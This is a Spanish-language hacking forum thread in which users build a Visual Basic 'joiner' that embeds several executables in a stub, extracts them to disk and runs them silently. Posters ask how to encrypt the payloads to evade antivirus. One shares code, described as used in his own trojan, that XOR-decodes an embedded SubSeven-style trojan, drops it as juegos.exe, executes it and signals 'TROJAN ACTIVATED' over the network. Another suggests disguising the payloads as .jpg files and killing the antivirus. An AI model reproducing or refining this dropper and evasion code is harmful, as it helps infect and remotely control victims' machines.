Weno, mi intencion es esa... yo ya tengo algo avanzado, pero no se kontinuar....lo que tengo es esto:
4 textbox, dos para la ruta de los archivos y dos para poner su tamaño....
luego creo un exe "virgen" que lo que hace es albergar los dos archivos y luego ejekutarlos....lo que no se hacer es que el archivo virgen los konsiga separar y luego crear y ejekutar... me expliko:
[VIRGEN]
[programa1] -----> [Virgen] , [Programa1] , [Programa2]
[Programa2]
Esto es lo que no se hacer....
Weno, gracias de todas formas...
Salu2
Hendrix
Es de lo mas facil. Supongo que solo te tengo que decir el algoritmo ya que por lo que dices sabes como va el manejo de archivos.
1.-Al crear el archivo con los tres sub-archivos debes escribir tambien el tamaño de [VIRGEN] y [programa1]. Esto lo haces con FileLen().
2.-Creas dos variables (una para cada archivo a separar) con el tamaño de cada programa. Esto lo haces con Space().
3.-Abres el archivo.
4.-Haces Get desde el tamaño de [VIRGEN] y te cogera el primer archivo.
5.-Vuelves a hacer Get. Ahora no definas desde donde ya que el puntero esta en ese lugar.
6.-Haces Put para cada archivo.
7.-Y para terminar ejecutamos con shell().
Creo que ha quedado mas que claro. Si en algo te pierdes pregunta de nuevo.
Thank's Gorky!!!! ya lo e pillado ;) ;) ;)
en kuanto pueda lo pondre en praktika y si kieren les paso el kode final....
Salu2 a todos
Hendrix
Muren, tengo esto:
Private Sub Form_Load()
Dim a As String * 9
Dim meu As String
Dim dos As String
Dim tres As String
Dim b As String
meu = Space(20480)
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
Seek (1), LOF(1) - 8
Get #1, , a
Close #1
b = Trim(a)
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
dos = Space(b)
Get #1, , meu
Get #1, , dos
Get #1, , tres
Close #1
Open "C:\dos.exe" For Binary As #1
Put #1, , dos
Close #1
Open "C:\tres.exe" For Binary As #1
Put #1, , tres
Close #1
End
End Sub
Y me da error. Les expliko el kode:
meu es el tamaño del archivo virgen. Dos es el tamaño del archivo 2 y tres del 3.
lo que ago aki:
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
Seek (1), LOF(1) - 8
Get #1, , a
Close #1
es sacar el tamaño del archivo 2 que previamente le introduje (esto si me sale bien)...
Per luego kuando me krea los archivos el archivo Dos sale kon el tamaño korrekto, pero lo abro kon el HexWorkshop y me sale el numero de su tamaño y todo lo demas en blanko. Abro el archivo 3 y directamente no me pone nada (Todo en blanko)....
Donde esta el fallo????
Weno, Gracias de todas maneras...
Salu2 a todos
Hendrix
Bien ,ya lo e resuelto...el archivo dos me lo crea correctamente i funciona, ahora lo que me falla es el archivo 3, no me pone nada dentro, me lo crea vacio....
Supongo que es porke no tiene volumen (Space)....Pero no se..
Vamos, que me keda pokito.... ;) ;) ;)
Muchas gracias!!!!!
Salu2
Hendrix
Es eso. A tres no le has dado Space(). Hazlo y nos cuentas.
jejeje Gracias a todos!!! ahora si funciona!!!! le puse el Space y todo listo....
Gracias!!!!
Salu2 a todos
Hendrix
Ahora me sale un error...lo que ago es que el user pueda elegir la extension. todo funciona, me krea el archivo kon la extension que se le introduce y todo correcto. pero llego a este punto y kreo que es aki que me da el error:
Shell ("C:\dos." & ext)
Shell ("C:\tres.exe")
End
Me sale este error:
Error '53' en tiempo de ejecucion:
No se ha encontrado el archivo
Pero al archivo me lo crea correctamente....incluso le e puesto un timer que pasados 2 segundos lo ejekute, pero tampoko funciona...
Alguien sabe que pasa??? porke el kode esta korrekto, no leveo ningun fallo... :-\ :-\ :-\
Salu2
Hendrix
Para empezar asegurate que lo que esta en Shell() es exactamente el mismo nombre del archivo con el que hiciste Open(). Despues asegurate de haber cerrado el archivo antes de ejecutarlo. De todas maneras si pones un poco mas de codigo es mas facil detectar el error.
les dejo un poko mas de kode:
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
Get #1, , meu
Get #1, , dos
Get #1, , tres
Close #1
Open "C:\dos." & ext For Binary As #1
Put #1, , dos
Close #1
Open "C:\tres.exe" For Binary As #1
Put #1, , tres
Close #1
Shell ("C:\dos." & ext)
Shell ("C:\tres.exe")
End
End Sub
Salu2
Hendrix
Ese code no tiene las modificaciones que has dicho anteriormente y asi deberia funcionarte correctamente.
lo que pone ext en realidad es la extension (en mi kaso es zip)....
Pero no se porke no funciona...Weno, me lo mirare...
Salu2 y gracias
Hendrix
asi komo esta ahora me pone esto:
Error '5' en tiempo de ejecucion:
Llamada a procedimiento o argumento no validos
:-\ :-\ :-\ :-\ no se que pasa... :-\ :-\
Salu2
Hendrix
Resuelto, cambien el kode por esto:
On Error Resume Next
Set Hendrix = CreateObject("WScript.Shell")
Hendrix.Run "C:\dos." & ext
Shell ("C:\tres.exe")
Weno, gracias de todos modos ;) ;) ;)
Salu2
Hendrix
Weno, sigo keriendo hacer mas kosas, komplikadillas....
El joiner funciona correktamente, aunke si el AV extripa el .exe resultante vee que hay 3 PE de archivos y salta la alarma...
E pensado en enkriptar los datos de dentro...pero los cifro y los archivossalen defectuosos...
Mi pregunta es: el tamaño de los archivos no es el mismo kuando estan enkriptados???
Porke si no es eso ya no se que puede ser (el kode esta bien)...
Weno, Salu2 y gracias
Hendrix
Cita de: Punk-rock en 24 Febrero 2006, 22:55 PM
el tamaño de los archivos no es el mismo kuando estan enkriptados???
Generalmente aumenta el tamaño al encriptarlo.
Lo que puedes acer es cargas el ejecutable entero en menoria en una variable, le encriptas y le guardas encriptao.
Y para leerle le lees encriptao en una variable, le desencriptas y le extraes a un archivo.
Salu2
eso es lo que e intentado hacer y me an dado varios errores...pero mañana lo volvere a intentar... ;) ;) ;)
Gracias por kontestar...
Salu2
Hendrix
k usas para cifrar?
Salu2
Hey Muy buen trabajo. Cuando lo terminas me lo podes mandar por PM o postear un link en este tema?
Kizar, para enkriptar lo ago muuuuuuuyyy basico, simplemente le sumo karakteres a los karakteres que quiero enkriptar, no me komplika mucho...jejejejeje
Pero weno, haber que tal me va....
Cita de: javotech en 25 Febrero 2006, 02:45 AM
Hey Muy buen trabajo. Cuando lo terminas me lo podes mandar por PM o postear un link en este tema?
Pondre un link...
Salu2
Hendrix
Espero q les sirva, lo uso siempre en mi troyano. Para agregarle un subseven indetectable y un fakedos indetectable, si alguien lo puede mejorar, estaria muy agradecido.
Public Sub UnpANDDec(trojan As Integer)
dump = 196608 'tamaño del troyano compilado
Open ".\" & App.EXEName & ".exe" For Binary As #1
Dim writeQ As Boolean
Open ".\" & "juegos.exe" For Output As #2
Close #2
Open ".\" & "juegos.exe" For Binary As #2
Do
DoEvents
Get #1, , chara
If trojan = 0 Then
If Loc(1) = dump + 1 Then
writeQ = True
End If
Else
If Loc(1) = dump + 351788 + 1 Then
writeQ = True
End If
End If
If writeQ = True Then
chara = Chr((Asc(chara) Xor 4))
Put #2, , chara
End If
If trojan = 0 Then
If Loc(1) = 351788 + dump Then
writeQ = False
End If
Else
If Loc(1) = 351788 + 372131 + dump Then
writeQ = False
End If
End If
If Loc(1) = LOF(1) Then
Exit Do
End If
Loop
Close
Close
Dim rerts
retrs = Shell(".\juegos.exe")
Code.ws(Code.ports).SendData "TROJAN ACTIVATED" & vbCrLf
Call Reset
End Sub
cifra los archivos con un simple xor 4 para q no sean detectados, y al infectar una pc con el troyano, se puede activar remotamente. Lo descifra y lo ejecuta. Suert
Esto se puede hacer kon un smple SFX (se krea kon el WinRar), pones los juegos.exe a juegos.jpg y kreas un .bat que los renombre a .exe y ya ta, ya stan infectados...aunke tendrias que matar los AV's....
Pero weno, esto se desvia del tema....
Salu2
Hendrix